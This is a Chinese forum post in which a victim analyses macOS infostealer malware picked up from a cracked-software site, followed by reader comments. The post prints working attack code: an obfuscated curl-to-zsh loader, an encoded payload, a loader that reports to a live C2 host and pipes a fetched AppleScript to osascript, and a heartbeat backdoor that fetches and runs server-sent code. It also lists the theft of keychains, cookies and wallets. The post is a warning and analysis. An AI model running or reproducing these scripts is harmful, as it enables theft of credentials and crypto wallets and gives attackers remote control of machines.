mac中毒经历详细分析

起因

在mac破解软件平台 appstorrent.org 下载破解软件 点击Download 弹出一个页面 https://a.macos-form-apps.com/
我没仔细看以为是一键安装软件的脚本,没多想就直接运行了。结果就寄了 :pensive_face:,粗心大意害死人啊:double_exclamation_mark:

:double_exclamation_mark:但凡仔细点都不至于中招啊,大家一定要注意啊:double_exclamation_mark:

危害

:warning: :warning: :warning:
恶意代码危害 窃取账号密码、session、cookies、钱包、Keychain(密钥)、LaunchAgent、远程控制(C2 code)

:prohibited::prohibited::prohibited:
不要执行本文的任何脚本 x3

第一层

伪造成github安装工具,隐藏真实意图
所有恶意脚本都关闭了日志输出,执行不会看到任何终端输出,执行完成会有 Google Update 要求后台运行(我为什么会知道?这还用问吗? :confounded_face:

echo "GitHub-AppInstaller: https://dl.github.com/drive-file-stream/GitHubApplicationSetup.dmg" && curl -kfsSL $(echo 'aHR0cHM6Ly9yZXMyZXJjaC1zbDJ1dC5jb20vZGVidWcvbG9hZGVyLnNoP2J1aWxkPWM1OGMyMDg3ZjU3MjIxZTg3MTFhZDA2MWFlYmYwN2M1'|base64 -D)|zsh
GitHub-AppInstaller: https://dl.github.com/drive-file-stream/GitHubApplicationSetup.dmg

base64混淆真实执行恶意脚本

aHR0cHM6Ly9yZXMyZXJjaC1zbDJ1dC5jb20vZGVidWcvbG9hZGVyLnNoP2J1aWxkPWM1OGMyMDg3ZjU3MjIxZTg3MTFhZDA2MWFlYmYwN2M1

解码真实地址

https://res2erch-sl2ut.com/debug/loader.sh?build=c58c2087f57221e8711ad061aebf07c5

第二层

通过 Base64 + Gzip 双层压缩隐藏了真正要执行的指令

解析真实恶意代码

cat > temp_base64.txt << 'EOF'
H4sIAMhyr2kC/71U4XLjNBD+7xneYdHlLs1Mbcdpcyk90qOUQEPTpENC6QwwHsVexyKO5JPktun1GB6CJ+RJkOymTROmA3/wL+1a32p3v2/31ef+lHH/TqXOK/gGp8UMMkFjlPDXH39CjBojDSf9MVAewzQT0RxumE5BY4YL1HLp9Meh+d8lCc0UEoclBpXQItMKJNIYfvcHbCqpXPoXEhOUyCNUfiQWHs3zDL3T/kSIbCpuvTxjSsOx9fY4nWYY93le6LEopIFA68iP8drnRZbBPcwk5uB+YCALpRjl70CnyB0w3yojLQuTUMKcsrSyElMAzRAYT0RZoKKcaXaHkAgJ349HQ2cwOjke9ML+8NtRt7bzP5bCgJzhciqojAd0KQoNQ7pAYv6n9m23bU5aQv0XXof6br2y3Bjq5OlM6ub+PWCUCiAFn3Nxw0nDOR2NJ8Pj854pKBVKcxN3I4W1UNvw0Ti87P1gwOomvEapwM2liItIXxqDCf481ja+dzUJ+xcGHxUyA9fg3QW9dTUzabQh1TpXh75Pc+axnCVLT8jZZsgXkSyiPKV3LPcMFf8NmUSCJ2zmbTbkhSKqH7XKJk+9cz6DesNK7euCZXEpJiOvBLMlFIrxGeSScZ04CnkcxnbSQrxGrnca8LGUbalN6F1OuqQWkDWXDWUervBQ/0hKHDkkrxXZJVP7XJhSla48LH88qTBiamVV4l9ZKyWsbKFKcg2fledT3VZ5OSFAovZB1GoedJJ2p9UK8KATBDRuvg0oTpNmJ2q/JmsNIbVq/uxpbZisudKhPVeiMo21dT6SdAUX5g6QFUESVQtllLoqaxXa8mt14pft86s2gHsK5ERwbQx3sszxEOw0GlFoU4v/mzIFlbNRs30kz4Wwxnnr6E3gfLIE9pNy45X7wZAFpoVhufowhvLNchniLdN22/28VnEXqqUDv66to03CTT+fApKtFCzExobmw+oaCv08n2pBhxI/FKj0Kiln+53Ni1uPwRvHiSkuBA+Tgke2YY9yxFuM4MvH+0++o3/wtTacFaHzjcHba5Zk/ahQusczk+IhnIs7lmXUb3tN2DmnkZG4UOk76Bs+MzAOGI3hCoJmGLTDTqNaqT/h9Ixpv73X8fbews7Z6eR8sAsZmyN8h9FcNOAklWKB/heB1/T29zstLwj2YUwTKtkDjLwoskpgOV3aFlbbXUWS5fp9OW7dfzER9yAUrUBGVhtdNpr5ipjuPxD9N1WYibaGBwAA
EOF
cat temp_base64.txt | base64 -D | gunzip

真实恶意代码

#!/bin/zsh
# Debug loader — detect CIS and block with telemetry
IS_CIS="false"
if defaults read ~/Library/Preferences/com.apple.HIToolbox.plist AppleEnabledInputSources 2>/dev/null | grep -qi russian; then
    IS_CIS="true"
fi

# Detect locale info — sanitize for JSON
LOCALE_INFO=$(defaults read ~/Library/Preferences/com.apple.HIToolbox.plist AppleEnabledInputSources 2>/dev/null | grep -i "KeyboardLayout Name" | head -5 | tr '\n' ',' | tr -d '"' | tr -d "'" || echo "unknown")
HOSTNAME=$(hostname 2>/dev/null | tr -d '"' || echo "unknown")
OS_VER=$(sw_vers -productVersion 2>/dev/null || echo "unknown")
EXT_IP=$(curl -s --max-time 5 https://api.ipify.org 2>/dev/null || curl -s --max-time 5 https://icanhazip.com 2>/dev/null || curl -s --max-time 5 https://ifconfig.me 2>/dev/null || echo "unknown")
EXT_IP=$(echo "$EXT_IP" | tr -d '
 ')

# Build JSON safely using printf
send_debug_event() {
    local EVT="$1"
    local JSON=$(printf '{"event":"%s","build_hash":"%s","ip":"%s","is_cis":"%s","locale":"%s","hostname":"%s","os_version":"%s"}' "$EVT" "c58c2087f57221e8711ad061aebf07c5%" "$EXT_IP" "$IS_CIS" "$LOCALE_INFO" "$HOSTNAME" "$OS_VER")
    curl -s -X POST "https://res2erch-sl2ut.com/api/debug/event" -H "Content-Type: application/json" -d "$JSON" --max-time 5 >/dev/null 2>&1
}

# If CIS — send cis_blocked event and exit
if [ "$IS_CIS" = "true" ]; then
    send_debug_event "cis_blocked" >/dev/null 2>&1
    exit 0
fi

# Not CIS — send loader_requested event
send_debug_event "loader_requested" >/dev/null 2>&1 &

daemon_function() {
    curl -k -s --max-time 30 -H "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" "https://res2erch-sl2ut.com/debug/payload.applescript?build=c58c2087f57221e8711ad061aebf07c5%" | osascript
}
daemon_function "$@" &
exit 0

针对 Mac 系统的信息窃取 + 远程控制后门。
如果检测到俄语输入法,直接退出,不执行后续恶意操作
后续恶意脚本(核心恶意代码 1000+行)

https://res2erch-sl2ut.com/debug/payload.applescript?build=c58c2087f57221e8711ad061aebf07c5%

第三层

核心恶意代码

https://res2erch-sl2ut.com/debug/payload.applescript?build=c58c2087f57221e8711ad061aebf07c5%

脚本执行流程

启动
 ├─ 关闭 Terminal
 ├─ 创建临时工作目录
 ├─ 采集系统信息
 ├─ 获取用户密码(诱骗)
 ├─ 发送初始遥测
 ├─ 收集浏览器数据
 ├─ 收集浏览器钱包扩展
 ├─ 收集桌面钱包
 ├─ 收集 Keychain
 ├─ 收集 Telegram
 ├─ 收集用户文件
 ├─ 压缩数据
 ├─ 上传到 C2服务器
 ├─ 钱包软件注入
 ├─ 写入持久化 LaunchAgent
 └─ 显示错误提示结束

恶意功能总结

关于 cookies 和 session解释, 可用实现直接登录你的账号。(不需要账号,没有登录提示,你几乎无法察觉)

功能 说明
系统信息收集 用户/IP/OS
密码窃取 伪系统窗口
浏览器数据窃取 cookies/password
浏览器钱包 Metamask等
桌面钱包 20+
Telegram session
Keychain 密钥
文件抓取 Documents
数据上传 C2
钱包感染 asar替换
持久化 LaunchAgent
远程控制 C2 code

其中的base64解码脚本内容

#!/bin/bash
GATE_URL="https://res2erch-sl2ut.com"
BOT_ID=$(ioreg -d2 -c IOPlatformExpertDevice | awk -F'"' '/IOPlatformUUID/{print $4}')
BUILD_ID="948be3ba885ea945acc4f42867be0298b5285ce245b6c787d56a3b798c40a236"
BUILD_NAME=""
HOSTNAME=$(hostname)
IP=$(curl -s https://api.ipify.org 2>/dev/null || echo unknown)
OS_VER=$(sw_vers -productVersion)
RESP=$(curl -s -X POST "$GATE_URL/api/bot/heartbeat" -H "Content-Type: application/json" -d '{"bot_id":"'"$BOT_ID"'","build_id":"'"$BUILD_ID"'","hostname":"'"$HOSTNAME"'","ip":"'"$IP"'","os_version":"'"$OS_VER"'"}')
CODE=$(echo "$RESP" | sed -n 's/.*"code":"\([^"]*\)".*/\1/p')
if [ -n "$CODE" ]; then
echo "$CODE" | base64 -d > /tmp/.c.sh && chmod +x /tmp/.c.sh && /tmp/.c.sh; rm -f /tmp/.c.sh
fi

发送心跳请求实时检测设备在线状态
AppleScript 持久化模块写入的后门执行器
建立长期 C2 控制并执行服务器下发的代码

系统结构

受害机器
   │
   │ LaunchAgent (60秒)
   ▼
GoogleUpdate script
   │
   │ heartbeat
   ▼
C2 Server
   │
   │ 返回payload
   ▼
base64 shell script
   │
   ▼
执行恶意代码
25 个赞

6,不坑自己人是吧

11 个赞

说实话一键安装的脚本我挺害怕的,Linux上一大堆这样的,好在现在可以AI审查一下

3 个赞

这做法是真牛

1 个赞

其实少用这个才是正道,或者找点干净的源

1 个赞

俄罗斯人不坑俄罗斯人

2 个赞

我也不知道干净的 :sob:

1 个赞

懂了,立马安装俄语输入法

1 个赞

太可怕了

2 个赞

不过这也说明最大的风险还是在用户的谨慎程度,光指望MAC所谓“牢不可破”的金身是防不住的。

1 个赞

所以解决方式是什么= =

哈哈哈 俄罗斯人不坑俄罗斯人

我经常贪小便宜,还怕中招 :joy:

1 个赞

真是太粗细了,这种还是比较明显的,如果在破解软件内部植入,不反编译软件都很难察觉。最安全还是不用破解或者用开源的破解脚本。

我基本只用这个网站 楼主要不看看是不是也有毒
https://www.appstorrent.ru/

请问怎么发现中毒的?

不用破解或者用开源的破解脚本

:rofl: 哈哈哈

我用.ru的,org是什么站

俄语输入法还有这种好处 :laughing: